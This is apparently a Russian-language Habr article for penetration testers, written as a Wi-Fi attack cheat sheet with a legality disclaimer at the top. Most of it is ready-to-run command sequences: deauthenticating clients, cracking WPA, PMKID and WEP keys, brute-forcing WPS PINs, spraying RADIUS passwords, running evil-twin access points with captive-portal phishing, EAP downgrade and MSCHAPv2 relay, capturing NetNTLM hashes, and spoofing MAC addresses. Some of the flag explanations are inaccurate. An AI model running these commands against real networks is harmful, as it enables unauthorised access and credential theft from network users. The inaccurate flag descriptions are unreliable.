Помните, что использование полученных знаний и навыков должно быть ограничено законными и этическими рамками, и вмешательство в чужие сети без разрешения является неприемлемым и незаконным действием.
Как это принято у новичков на habr-е - "Это моя первая статья, не судите строго". Чтож, изначально, мне было страшно выкладывать сюда работы, которые я писал для маленького tg канал, но... Время пришло, пора и вам почитать тот ужас, что я пишу.
А что мы знаем про пентест Wi-Fi?
Кажется, что уже всё, но вот на offzone 2023 была представлена атака WPA‑E (Надеюсь, в скором времени выложат запись и pdf) и я задумался, а так ли всё хорошо с моими знаниями... Нет, я всё с концами оставил на старых ЖД и где‑то далеко в памяти, пришлось восстанавливать по крупицам всю информацию. Заметки, время и старания — главное составляющее статьи.
Этот документ больше похож на чек‑лист для самопроверки и может содержать полезные советы и хитрости, за основу я взял структуру «WiFi Penetration Testing Cheat Sheet«. Я очень благодарен автору, но он забросил вести данную шпаргалку и многие вещи устарели.
Все было протестировано на Kali Linux v2023.1 (64-битной версии), а также проработано на реальном опыте проведения тестирования на проникновение Wi‑Fi и в лабораторных условиях.
В одном из источников был использован инструмент для проведения тестирования wifi "WiFi Pineapple NANO", но подумайте трижды, прежде чем покупать. Данный инструмент не даёт никаких преимуществ, кроме удобства, но кто мы такие - мы любители и профессионалы, а не скрипт кидди с условной штукой для взлома всего подряд. Мой совет - "не нужно заморачиваться, всё уже у вас под рукой".
![В любой статье должны быть мемы, куда же без доли юмора в нашем ремесле ?) В любой статье должны быть мемы, куда же без доли юмора в нашем ремесле ?)](https://habrastorage.org/getpro/habr/upload_files/4ff/bd2/a98/4ffbd2a983dd08c4b3bad7760a6feea8.jpeg)
Для получения справки по любым инструментам вы можете использовать команду <название_инструмента> [-h | -hh | --help]
или man <название_инструмента>
. Иногда опция -h
может быть недоступной из-за конфликта с другой опцией, например, с опцией "хост" или какой-то другой. В таком случае используйте -h
или --help
, либо прочтите руководство с помощью команды man
. Или можете забить на все эти рекомендации и просто использовать Google (не советую использовать Yandex, он странно индексирует Иб-шные тематики, просто этого не делая).
Вам также могут пригодиться следующие веб-сайты при написании отчета:
cwe.mitre.org/data
owasp.org/projects
cheatsheetseries.owasp.org
nvd.nist.gov/ncp/repository
nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Не так давно был апдейт (но не у всех), так что лучше использовать 4-ую версию cvss
first.org/cvss/calculator/4.0
nvd.nist.gov/ncp/repository
attack.mitre.org
Я прикладываю ру версию митре, вы можете развернуть её у себя, если нужен гайд - пишите в комментариях, мы это уже делали.
ptsecurity.com/ru-RU/techniques/product/pt-nad
Оглавление
А что использовать?
![Моё типичное рабочее место для тестирования, благо, я не смог найти фото самой лаборатории Моё типичное рабочее место для тестирования, благо, я не смог найти фото самой лаборатории](https://habrastorage.org/getpro/habr/upload_files/8b1/4ae/e0f/8b14aee0f95deb3d9e99b47f19c3cfb7.jpg)
Я напишу только о тех адаптерах, что сам лично использовал под задачи.
![ALFA Network AWUS036ACH чипсет RTL8812AU(не берите версии без порта type-c) ALFA Network AWUS036ACH чипсет RTL8812AU(не берите версии без порта type-c)](https://habrastorage.org/getpro/habr/upload_files/cb4/b93/9b0/cb4b939b0506fc9b43c7c5e298bd9ac2.jpeg)
(не берите версии без порта type-c)
Двухдиапазонный беспроводной USB-адаптер 802.11ac с широким диапазоном AWUS036ACH обеспечивает невероятные расстояния и невероятную скорость для компьютеров Mac или Windows в сети Wi-Fi — До 300 Мбит/с для сети 2,4 ГГц и до 867 Мбит/с для сети 5,0 ГГц. AWUS036ACH подключается к компьютеру через USB 3.0 с технологией AC1200 Wi-Fi для обеспечения превосходной производительности. Хороший адаптер для тех, кто готов потратить время на установку сторонних драйверов. В старой версии были большие проблемы с питанием .Но самое страшное в нем - нынешняя цена в России.
Цена: ~8 250 ₽
![ALFA Network AWUS036NHA чипсет AR9271L ALFA Network AWUS036NHA чипсет AR9271L](https://habrastorage.org/getpro/habr/upload_files/4eb/ba5/b3f/4ebba5b3f8b234593f2e22b10634b202.jpeg)
Когда-то самая универсальная карта Wi-Fi на рынке. Она поддерживает режим мониторинга для большинства дистрибутивов Linux, таких как Kali Linux, Debian и другие без особого гемороя с драйверами. Она также поддерживает ОС Windows, позволяя создавать на ней устройства AP с помощью драйвера и утилиты. В Kali поддерживаются все режимы работы (поддельная точка доступа, несколько точек доступа, режим мониторинга, управляемый режим), и её поддерживают практически все хакерские инструменты на рынке. Главное ограничение этой карты — она не поддерживает частоты 5 ГГц.
Цена: ~ 2 150 ₽
![ALFA Network AWUS1900 чипсет RTL8814AU(не нашел отдельную фотографию) ALFA Network AWUS1900 чипсет RTL8814AU(не нашел отдельную фотографию)](https://habrastorage.org/getpro/habr/upload_files/bef/018/1f3/bef0181f3ecf804ee787a4b7c4ff41d7.webp)
(не нашел отдельную фотографию)
Двухдиапазонный Wi-Fi USB адаптер высокой мощности с поддержкой стандарта 802.11ac и скоростью передачи данных до 1300 Мбит/с. С ценой как у младшей модели.
Цена: ~7 950 ₽
Настройка
Просмотр конфигурации сетевых интерфейсов:
ifconfig && iwconfig && airmon-ng
Не всегда всё предустановлено в системе
Включение/отключение сетевого интерфейса:
ifconfig wlan0 up
ifconfig wlan0 down
Перезапуск менеджера сети:
service NetworkManager restart
В данной команде:
"service" - это команда, которая позволяет управлять службами в системе.
"NetworkManager" - это название службы, которую вы хотите перезапустить.
"restart" - это опция, указывающая команде перезапустить указанную службу.
Проверка регуляторной области беспроводной сети (WLAN):
iw reg get
Эта команда выполняется через утилиту iw
, которая предоставляет возможности настройки беспроводных интерфейсов в Linux. В результате выполнения команды "iw reg get" вы увидите информацию о текущем регионе для беспроводного интерфейса.
Установка регуляторной области беспроводной сети (WLAN):
Увеличение/уменьшение мощности беспроводного интерфейса (высокая мощность может быть незаконной в некоторых странах):
iwconfig wlan0 txpower 40
Стоит отметить, что для некоторых wifi-адаптеров данная команда работать не будет, например для чипов rtl8814au и rtl8812au
Разные страны налагают разные ограничения на частотные каналы WiFi. Это может быть проблемой, если ваша сетевая карта или операционная система заставляют вас использовать другую конфигурацию, чем вам нужно. Существует множество причин, почему это может происходить, начиная от драйверов, предпочитающих настройки EEPROM, и заканчивая странными решениями, основанными на наблюдениях за активностью сети.
Также, можно использовать дополнительное ПО для данной настройки. Измененная конфигурация регулирования ограничения доступных частот и максимальной мощности передатчика в соответствии с региональными настройками - ссылка на github.
Мониторинг
Установка беспроводного сетевого интерфейса в режим мониторинга:
airmon-ng start wlan0
ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up
Установка беспроводного сетевого интерфейса в режим мониторинга на указанном канале:
airmon-ng start wlan0 8
iwconfig wlan0 channel 8
[Дополнительно] Остановка служб, которые могут мешать работе беспроводных сетевых интерфейсов в режиме мониторинга:
airmon-ng check kill
Вернуть беспроводный сетевой интерфейс в режим управления (managed mode):
airmon-ng stop wlan0mon
ifconfig wlan0 down && iwconfig wlan0 mode managed && ifconfig wlan0 up
Ищите беспроводные сети в вашей области:
airodump-ng --wps -w airodump_sweep_results wlan0mon
wash -a -i wlan0mon
Мониторинг беспроводной сети для захвата рукопожатий/запросов:
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid <ESSID> --bssid <BSSID>
Если вы указали выходной файл, не забудьте остановить airodump-ng
после завершения мониторинга, потому что это приведет к заполнению всего доступного места на диске большим файлом PCAP.
Для получения дополнительной информации о беспроводных точках доступа, такой как их MAC-адрес, название производителя и т. д., вы можете использовать инструменты, такие как Kismet.
Kismet - это мощный инструмент для мониторинга беспроводных сетей и анализа беспроводного трафика.
Пентест
Проверить поддержку беспроводным интерфейсом инъекции пакетов:
aireplay-ng --test wlan1 -e <ESSID> -a <BSSID>
"aireplay-ng" - сама команда для выполнения атак на беспроводные сети с помощью Aircrack-ng;
"--test" - это опция, которая указывает Aireplay-ng отправить тестовый запрос;
"wlan1" - это имя вашего беспроводного интерфейса. Вы должны заменить "wlan1" на имя вашего фактического беспроводного интерфейса;
"-e <ESSID>" - это опция, где "essid" должен быть заменен на имя (ESSID) беспроводной сети (Wi-Fi), к которой вы хотите подключиться. Это означает, что вы пытаетесь отправить тестовый запрос к указанной сети;
"-a <BSSID>" - это опция, где " <BSSID>" должен быть заменен на BSSID (MAC-адрес) точки доступа, к которой вы хотите отправить тестовый запрос.
WPA/WPA2 Handshake
Мониторинг беспроводной сети для захвата четырехступенчатого рукопожатия WPA/WPA2:
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
"wlan0mon" - это имя вашего мониторящего (monitor) беспроводного интерфейса. Вы должны заменить wlan0mon на имя вашего фактического мониторящего интерфейса;
"--channel 8" - опция --channel" используется для указания номера канала, на котором вы хотите мониторить беспроводные сети. В данном случае, вы выбрали канал 8;
"-w airodump_essid_results" - опция -w используется для указания префикса имени файла, в который будут записаны результаты мониторинга. В данном случае, результаты будут записаны в файлы с именем "airodump_essid_results".
[Опционально] Деаутентифицировать клиентов из беспроводной сети:
aireplay-ng --deauth 10 wlan1 -e essid -a <BSSID>
Запустить атаку словарем против рукопожатия WPA/WPA2:
aircrack-ng -e essid -b <BSSID> -w rockyou.txt airodump_essid_results*.\
"-w rockyou.txt" - опция -w используется для указания словаря паролей, который будет использоваться при атаке на сеть. Здесь rockyou.txt - это имя файла с паролями. Вы можете заменить его на другой файл, если у вас есть другой словарь паролей, например от 3WiFi
PMKID Attack
Cоветую к прочтению статью "Pwning WPA/WPA2 Networks With Bettercap and the PMKID Client-Less Attack", но достаточно старая, нужно будет заменять метод hashcat на 22000
Взлом аутентификации WPA/WPA2 без деаутентификации клиентов.
Установка необходимых инструментов на Kali Linux:
apt update && apt -y install hcxtools
Начните захват PMKID хешей для всех близлежащих сетей:
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon
"--enable_status=1" - опция --enable_status устанавливает значение 1 для включения вывода статуса (status) в консоль в реальном времени. Это полезно для отслеживания прогресса сбора данных;
"-o hcxdumptool_results.cap" - опция -o используется для указания имени файла, в который будут записаны результаты сбора данных. В данном случае, данные будут записаны в файл с именем "hcxdumptool_results.cap".
[Опционально] Начните захват PMKID хешей для указанных беспроводных сетей:
echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist
Иногда может потребоваться несколько часов, чтобы захватить один PMKID хеш. Извлеките PMKID хеши из файла PCAP:
hcxpcaptool hcxdumptool_results.cap -k hashes.txt
Запустите атаку словарем PMKID хешей:
hashcat -m 22000 -a 0 --session=cracking --force --status -O -o hashcat_results.txt
Тут показан актуальный метод для перебора hashcat-ом
ARP (Request Replay Attack)
Если целевая беспроводная сеть не перегружена, то захват достаточного количества IVs(initialization vectors) для взлома аутентификации WEP может занять несколько дней.
Чтобы ускорить этот процесс, выполните фиктивную аутентификацию в беспроводной сети с несуществующим MAC-адресом и поддерживайте соединение:
aireplay-ng --fakeauth 8000 -o 1 -q 10 wlan1 -e essid
"--fakeauth 6000" - опция --fakeauth используется для выполнения аутентификации (authentication) к точке доступа (AP). Значение "6000" означает, что вы будете попытываться аутентифицироваться каждые 6000 миллисекунд (6 секунд). Вы можете изменить это значение по вашему усмотрению.
"-o 1" - опция -o используется для указания номера операции (operation), которая выполняется. В данном случае, "1" указывает на операцию аутентификации. Операция "1" соответствует аутентификации;
"-q 10" - опция -q используется для установки скорости запросов (попыток) в секунду. Ваша команда устанавливает скорость в 10 запросов в секунду;
"-a <BSSID>" - опция -a используется для указания BSSID (MAC-адреса точки доступа) целевой сети, к которой вы хотите подключиться;
"-h <MAC>" - опция -h используется для указания MAC-адреса вашего собственного беспроводного интерфейса.
Если в сети активировано фильтрование MAC-адресов, выполните фиктивную аутентификацию в беспроводной сети с существующим MAC-адресом:
aireplay-ng --fakeauth 0 wlan1 -e essid -a <BSSID> -h <MAC>
Чтобы отслеживать количество захваченных IVs(initialization vectors), запустите airodump-ng для мониторинга беспроводной сети и следите за столбцом "#Data" (попробуйте захватить около 100 000 IVs(initialization vectors)):
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid <BSSID>
Запустите стандартную атаку с повторением ARP-запросов против беспроводной сети:
aireplay-ng --arpreplay wlan1 -e essid -a <BSSID> -h <MAC>
[Дополнительно] Деаутентифицировать клиентов из беспроводной сети:
aireplay-ng --deauth 10 wlan1 -e essid -a <BSSID>
Взлом аутентификации WEP:
aircrack-ng -e essid -b <BSSID> replay_arp*.cap
High-rate Injection test
Атака Hirte (High-rate Injection test) - это тест высокоскоростной инъекции, который используется для проверки безопасности беспроводных сетей. Эта атака направлена на проверку, насколько устойчива сеть к высокоскоростной инъекции пакетов.
Основная идея атаки Hirte заключается в том, что она генерирует высокоскоростной поток сетевых пакетов и направляет его на беспроводную сеть. Это может использоваться для проверки наличия уязвимостей в сетевом оборудовании, которое может не справляться с такой высокой нагрузкой.
Эта атака нацелена на клиентов, а не на точки доступа беспроводных сетей. Вам необходимо знать SSID (идентификаторы беспроводных сетей) ваших целевых WiFi-сетей.
[Дополнительно] Настройте фиктивную WiFi-сеть WEP, если реальная сеть отсутствует:
airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a <BSSID>
При необходимости включите беспроводной интерфейс, что связать клиентов с фейковой WiFi-сетью. Мы разбирали, как это сделать, в первом пункте статьи.
Чтобы мониторить настоящую/фейковую WiFi-сеть для захвата рукопожатий/запросов используйте:
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
Генерация пакетов клиентов в Вашем радиусе воспроизводится следующим образом:
aireplay-ng --cfrag -D wlan1 -e essid -h <MAC>
[Опционально] Для деаутентификации клиентов от настоящей/фейковой WiFi-сети используется:
aireplay-ng --deauth 10 wlan1 -e essid -a <BSSID>
Перебор WEP-аутентификации:
aircrack-ng -e essid -b <BSSID> airodump_essid_results*.cap
WPS PIN (а вдруг включен)
WiFi Protected Setup, WPS - стандарт и одноименный протокол полуавтоматического создания WiFi-сети. Создан он был для упрощения развертывания и подключения к WiFi-сетям.
Старый тип атаки, мало где применим, попробовать в лаборатории можно.
Есть хорошая статья о данном методе - "My worst nightmare on discovering a Wi-Fi WPS vulnerability on my home router" (Работает под vpn)
Существует два типа WPS:
WPS с пин-кодом из восьми цифр,где на клиенте нужно ввести тот же код, то и на точке доступа
Кнопка WPS, которую нужно на и на точке доступа, и на клиенте с интервалом меньше пары минут
Из всего этого получается, что точки доступа WiFi с включенным WPS уязвимы к атаке брутфорса(перебора) PINа. При успешном перебора можно будет подключиться к точке доступа, а заодно и узнать её WPA/WPA2 пароль. Перебор пина невозможен на тех точках доступа, где необходимо нажимать кнопки.
Перебор WPS PINа:
reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b <BSSID>
"-vv" - Эта опция используется для включения подробного вывода, который будет показывать дополнительную информацию о процессе атаки;
"--pixie-dust" - Эта опция указывает использовать метод атаки "Pixie Dust". Метод "Pixie Dust" - это способ взлома WPS, который пытается найти уязвимые устройства и извлечь из них необходимую информацию для взлома;
"-i wlan1" - Опция -i указывает имя вашего беспроводного интерфейса, через который будет выполняться атака. Замените "wlan1" на имя вашего фактического беспроводного интерфейса;
"-c 8" - Опция -c используется для указания номера канала, на котором находится целевая беспроводная сеть. Здесь указан канал 8.
А для перебора PINа с задержкой между попытками используйте:
reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b <BSSID>
"-N" - Эта опция указывает, что вы хотите выполнять атаку в режиме нон-мониторинга (non-monitor mode), что может быть полезным в некоторых случаях;
"-L" - Эта опция указывает использовать менее мощные и быстрые атаки, что может снизить вероятность обнаружения атаки;
"-d 5" - Опция -d указывает интервал между попытками взлома в секундах. В данном случае, интервал установлен на 5 секунд;
"-r 3:15" - Опция -r указывает диапазон значений для проверки PIN-кодов. В данном случае, указан диапазон с 3 по 15;
"-T 0.5" - Опция -T указывает интервал между отправкой запросов в секундах. В данном случае, интервал установлен на 0.5 секунды.
Атака на WPA/WPA2-Enterprise (MGT)
WPA/WPA2 Enterprise - это один из наиболее безопасных методов обеспечения безопасности беспроводных сетей, особенно в корпоративной среде. В этой подглаве статьи мы рассмотрим аспекты взлома аутентификации WPA/WPA2 Enterprise с использованием метода аутентификации MGT (Machine-Generated Token).
Захват имен пользователей RADIUS:
С помощью Wireshark: найдите поле «Идентификация» в сообщениях EAP типа «Ответ, Идентификация».
С использованием crEAP:
python crEAP.py -i mon0 -c <channel>
Перебор учетных записей RADIUS / Password Spraying
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid <target_ESSID> \
--password <password_to_spray> \
--user-list <usernames_list>
Флаг --interface-pool
используется для предоставления eaphammer списком беспроводных интерфейсов, с помощью которых будет создано многозадачное выполнение. Ссылка на документацию
Захват и взлом рукопожатий LEAP и EAP-MD5
Протоколы EAP-MD5 и MD5 не используют безопасный туннель для аутентификации клиента. В связи с этим существует возможность перехвата вызова аутентификации и ответа на него, а затем выполнения офлайн-взлома. Это означает, что данные аутентификации могут быть подвержены риску, если не применяются дополнительные меры безопасности.
Захват трафика и запись захваченных рукопожатий в файл:
airdump-ng -c <channel> --bssid <AP_MAC> -w <capture> mon0
(Дополнительно) Деаутентификация клиента от точки доступа:
aireplay-ng --deauth 5 -c <MAC_target> -a <MAC_AP> mon0
Взлом
eapmd5pass r <capture> -w <wordlist> # Для EAP-MD5
asleap -r <capture> -W <wordlist> # Для LEAP (взлом MSCHAPv2 запроса/ответа)
asleap -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist> # Формат
asleap - Демонстрирует серьёзный недостаток в проприетарных сетях Cisco LEAP. Поскольку LEAP использует один из вариантов MS-CHAPv2 для аутентификационного обмена, он чувствителен к ускоренной офлайновой атаке по словарю. Asleap также может атаковать Point-to-Point Tunneling Protocol (PPTP) и любые обмены MS-CHAPv2, где в командной строке вы можете указать значения вызова и ответа.
Взлом запроса/ответа MSCHAPv2 (например, EAP-PEAPv0, EAP-TTLS, EAP-FAST)
MSCHAPv2 может использоваться как "Внутренний протокол EAP/Аутентификации" (внутри TLS-туннеля) в нескольких методах EAP, таких как EAP-PEAPv0, EAP-TTLS, EAP-FAST.
Для захвата вызова/ответа MSCHAPv2 требуется провести атаку "Зловредный AP" (Evil Twin Attack) и отключить проверку сертификата сервера на стороне клиента (см. eaphammer).
asleap -C <mschapv2_challenge> -R <mschapv2_response> -W <wordlist> # CФормат запроса/ответа с разделителями в виде двоеточия
WPA/WPA2-Personal (PSK) Rogue AP Evil Twin
Для проведения атаки "Evil Twin" с использованием настройки WPA/WPA2 требуется знание парольной фразы целевой сети (например, на конференции, если пароль уже был взломан...);
Если пароль неизвестен, можно настроить атаку "Evil Twin" с открытой сетью (например, для попытки получения парольной фразы с помощью фишинга через атаку с захватом сессии с помощью портала аутентификации).
Базовая точка доступа WPA/WPA2-PSK
С общим доступом к Интернету (по умолчанию):
berate_ap <interface_AP> <interface_internet> <SSID> <passphrase>
berate_ap - скрипт для создания фейковых точек доступа Wi-Fi.
Без совместного использования Интернета
berate_ap -n <interface_AP> <SSID> <passphrase>
Общий доступ к Интернету через мост (предварительно настроенный интерфейс моста)
berate_ap -m bridge <interface_AP> <interface_internet> <SSID> <passphrase>
Совместное использование Интернета с того же интерфейса Wi-Fi
berate_ap <interface_AP> <interface_AP> <SSID> <passphrase>
Включить IEEE 802.11n (с частотой 40 МГц)
berate_ap --ieee80211n --ht_capab '[HT40+]' <interface_AP> <interface_internet> <SSID> <passphrase>
Включить изоляцию клиента
berate_ap --isolate-clients <interface_AP> <interface_internet> <SSID> <passphrase>
WPA/WPA2-PSK AP Evil Twin + Captive Portal Attack
Captive Portal Attack (атака захвата портала) - это вид атаки на безопасность сети, при которой злоумышленник создает мнимый точку доступа Wi-Fi (Wi-Fi hotspot) с целью обмануть пользователей и заставить их подключаться к этой точке доступа. Когда пользователи подключаются к такой точке доступа, они могут быть перенаправлены на веб-страницу, известную как "захватываемый портал" или "захватываемая страница". На этой странице пользователи могут быть попрошены ввести учетные данные, кредитную информацию или другие личные данные, которые злоумышленники могут использовать в мошеннических целях.xтировать их устройства.
С использованием wifiphisher:
wifiphisher -aI <interface_rogue_AP> -jI <interface_jamming> --essid <target_SSID> -pK <passphrase> -kN
С использованием eaphammer:
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk --essid <SSID> --wpa-passphrase <passphrase> --captive-portal # WPA2 по-умолчанию
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk --essid <SSID> --wpa-passphrase <passphrase> --captive-portal --wpa-version 1 # Принудительный WPA1
Для достижения наилучших результатов в фишинге:
Клонировать легальную страницу;
Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).
WPA/WPA2-PSK AP Evil Twin + (половинный) захват рукопожатия WPA
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-psk \
--essid <SSID> --wpa-passphrase randompassphrase --capture-wpa-handhshake
WPA/WPA2-Enterprise (MGT) Rogue AP Evil Twin
Атака "Evil Twin" на сети WPA/WPA2-Enterprise возможна только в случае, если:
Метод EAP, используемый для аутентификации клиента, не использует клиентский сертификат (например, EAP-TLS, PEAPv0(EAP-TTLS)), так как в этом случае нет учетных данных, которые можно было бы украсть.
Метод EAP, используемый для аутентификации клиента, не требует серверного сертификата (например, EAP-MD5, LEAP), или в развертывании EAP не требуется проверка сертификатов сервера на рабочих станциях (или клиент вручную принимает недействительный сертификат, если это возможно).
Стандартные показатели (лично для меня):
Эта атака эффективна против устройств на операционной системе Android.
Эффективна против устройств на операционной системе iOS, но может потребовать подтверждения сертификата.
Против устройств на операционной системе Windows может быть захвачен только вызов-ответ.
WPA/WPA2-Enterprise AP Evil Twin + Кража учетных данных RADIUS
Этот тип атаки может использоваться для кражи учетных данных RADIUS (в чистом виде или, чаще всего, вызов-ответ, например, MSCHAPv2), когда используется EAP с аутентификацией клиента на основе учетных данных.
С использованием berate_ap:
(Дополнительно) Для более убедительной атаки сертификат, представляемый пользователям при аутентификации, должен быть похож на легитимный сертификат. Сертификат, используемый легитимной точкой доступа (AP), можно извлечь из захвата сети с помощью следующего инструмента: ссылка на скрипт.
./extract_EAP.sh -r <capture file>
./extract_EAP.sh -i mon0
Создание корпоративной сети (запросит информацию для использования в создаваемом сертификате) и захват учетных данных EAP:
berate_ap --eap --mana-wpe --mana-credout <file_captured_creds> <interface_AP> <interface_internet> <SSID>
Поддерживаемые режимы EAP, как минимум: ссылка на документацию:
EAP-PEAP/MSCHAPv2 (both PEAPv0 и PEAPv1)
EAP-PEAP/GTC (both PEAPv0 и PEAPv1)
EAP-PEAP/MD5 (both PEAPv0 и PEAPv1)
EAP-TTLS/EAP-MD5
EAP-TTLS/EAP-GTC
EAP-TTLS/EAP-MSCHAPv2
EAP-TTLS/MSCHAPv2
EAP-TTLS/MSCHAP
EAP-TTLS/PAP
EAP-TTLS/CHAP
EAP-MD5
EAP-MSCHAPv2
EAP-GTC
С использованием eaphammer:
Создание self-signed сертификатов x.509.
./eaphammer --cert-wizard
Информация о сертификатах: ссылка на документацию.
Запустите атаку "Зловредный AP" против точки доступа WPA-Enterprise и захватите учетные данные EAP:
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
--essid <SSID_corporate_wifi> --creds # Использование WPA2 по-умолчанию
EAP Downgrade Attack
Сбалансированный подход (самый эффективный)
При использовании eaphammer поведение по умолчанию заключается в использовании сбалансированного подхода к снижению уровня EAP. Он предлагает следующие последовательности методов EAP во время процесса согласования EAP:
# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST
# Phase 2 (inner authentication)
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
Eaphammer сначала пытается снизить уровень до GTC, а затем сразу переходит к более надежным методам EAP, если попытка не удается. Этот сбалансированный подход разработан для максимизации воздействия при минимизации риска долгих согласований EAP.
Референс - Ссылка
Полное понижение версии EAP (с самого сильного до самого слабого)
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap
--essid <SSID_corporate_wifi> --negotiate weakest --creds
В этом случае eaphammer предлагает методы EAP в следующем порядке:
# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST
# Phase 2 (inner authentication)
GTC,TTLS-PAP,MD5,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,TTLS-MSCHAPV2,TTLS
Предупреждение: более вероятно увеличение времени согласования EAP (низкая вероятность успеха PAP, MD5, CHAP), что может снизить эффективность атаки!
Подход, оптимизированный по скорости (от самого сильного к самому слабому)
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
--essid <SSID_corporate_wifi> --negotiate speed --creds
В этом случае eaphammer предлагает методы EAP, которые с наибольшей вероятностью будут успешными в первую очередь:
# Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST
Phase 2 (inner authentication)
MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,GTC,TTLS-PAP,TTLS-MSCHAP,MD5
Используйте этот режим, если у вас возникли проблемы с завершением процесса аутентификации EAP клиентами в режиме по умолчанию.
WPA/WPA2-Enterprise AP Evil Twin + EAP (MSCHAPv2) Relay
Эта атака может быть использована, когда метод EAP использует MSCHAPv2 для аутентификации клиента. Она пересылает вызов/ответ к оригинальной точке доступа (AP), чтобы иметь возможность подключиться к сети без необходимости взламывать учетные данные MSCHAPv2.
Создание Evil Twin AP:
berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout <file_captured_creds> \
<interface_AP> <interface_internet> <SSID>
Создайте файл конфигурации для wpa-sycophant на основе этого примера или изучите GitHub:
network={
ssid="TestingEAP"
# SSID, который вы хотите ретранслировать и аутентифицировать.
scan_ssid=1
key_mgmt=WPA-EAP
# Do not modify
identity=""
anonymous_identity=""
password=""
# Это инициализирует переменные для меня.
# -------------
eap=PEAP
phase1="crypto_binding=0 peaplabel=0"
phase2="auth=MSCHAPV2"
# Мы не хотим обратного подключения к себе, поэтому добавьте сюда свой поддельный BSSID.
bssid_blacklist=00:00:00:00:00:00
}
Запустите wpa-sycophant:
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i <interface>
RADIUS Credentials Management
Важно: для проведения дополнительных атак на корпоративную сеть WPA-Enterprise требуется знание учетных данных RADIUS клиента в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).
Учетные данные RADIUS должны быть добавлены в файл eap_user hostapd. В eaphammer доступен интерфейс для выполнения этой операции:
./ehdb --list
./ehdb --add --identity <username> --password <password> # Добавить учетные записи в базу данных
./ehdb --add --identity <username> --nt-hash <ntlm_hash> # Добавить учетные записи с хэшем NTLM в базу данных
./ehdb --delete --identity-is <username> # Удалить запись из базы данных
./ehdb --delete --delete-all # Удалить все записи в базе данных
Референс - Ссылка
WPA/WPA2-Enterprise AP Evil Twin + Captive Portal Attack
Важно: требуется знание учетных данных RADIUS клиента (добавленных в файл eap_user hostapd) в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).
/eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
--essid <SSID_corporate_wifi> --captive-portal
Для достижения наилучших результатов в фишинге:
Клонировать легальную страницу;
Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).
WPA/WPA2-Enterprise AP Evil Twin + NetNTLM Hash Capture
Важно: требуется знание учетных данных RADIUS клиента (добавленных в файл eap_user hostapd) в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).
Атака с использованием враждебного портала перенаправляет HTTP-трафик на SMB-ресурс, находящийся на машине атакующего:
./eaphammer -i wlan0 --channel <channel_number> --auth wpa-eap \
--essid <SSID_corporate_wifi> --hostile-portal
Krack (ни разу не пригодилось)
Атака KRACK (Key Reinstallation Attack) на беспроводные сети Wi-Fi была обнаружена в 2017 году и привлекла значительное внимание кибербезопасных специалистов и сообщества в целом. Атака KRACK эксплуатирует уязвимость в протоколе безопасности Wi-Fi WPA2 (Wi-Fi Protected Access 2), который ранее считался стандартом безопасности для большинства беспроводных сетей.
Референс - Ссылка
Словари
Вы можете найти классический rockyou.txt в /usr/share/wordlists или же использовать SecLists - довольно полезную коллекцию разнотипных словарей, использующуюся для оценки безопасности.
Установка словарей SecLists (будет храниться в /usr/share/seclists):
apt update && apt install seclists
Список других популярных коллекций словарей:
Password Spraying
Password Spraying - атака, в которой злоумышленник берет максимально возможное количество имен пользователей и несколько паролей, а затем подбирает каждое из имен пользователей, пока одно из них не будет подобрано верно.
Но для воспроизведения данной атаки Вам в первую очередь понадобятся несколько хороших ключевых слов, способных описать Вашу цель. Таковыми могут быть:
Имя компании;
Аббревиатуры;
Что-то, что связано с сервисами или продуктами цели;
И так далее.
Пост-эксплуатация
Если включена фильтрация MAC-адресов, то поменяйте MAC беспроводного интерфейса на существующий:
ifconfig wlan0 down && macchanger --mac <MAC> && ifconfig wlan0 up
Когда Вы получили доступ к WiFi-сети, пройдитесь следующими инструментами:
Попробуйте подключиться к WEB-интерфейсу точки доступа. Поищите в Интернете список путей и учетных записей по умолчанию.
Запустите сканирования/перебор сети.
Mind карта для пентеста wifi
Референс - Ссылка
MacStealer: Wi-Fi Client Isolation Bypass
